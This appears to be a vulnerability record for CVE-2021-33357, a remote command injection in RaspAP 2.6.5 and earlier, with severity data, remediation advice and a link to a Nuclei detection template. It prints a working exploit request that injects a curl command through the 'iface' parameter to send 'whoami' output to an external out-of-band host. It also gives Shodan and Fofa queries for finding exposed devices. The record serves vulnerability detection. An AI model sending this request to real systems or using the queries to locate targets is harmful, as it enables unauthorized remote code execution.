| Title | RaspAP <=2.6.5 - Remote Command Injection |
|---|---|
| Author | pikpikcu,pdteam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system. |
| Remediation | Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94007 |
| CVE ID | CVE-2021-33357 |
| CWE ID | CWE-78 |
| Shodan Query | http.favicon.hash:-1465760059 |
| Fofa Query | icon_hash=-1465760059 |
| Tags | cve2021 cve rce raspap oast vkev vuln |
RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the “iface” GET parameter in /ajax/networking/get_netcfg.php, when the “iface” parameter value contains special characters such as “;”.
GET /ajax/networking/get_netcfg.php?iface=;curl%20d5jns31le0o3po5okd80xf1djpwh3ngwr.oast.site/`whoami`; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33357.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33357.pcap
N/AN/A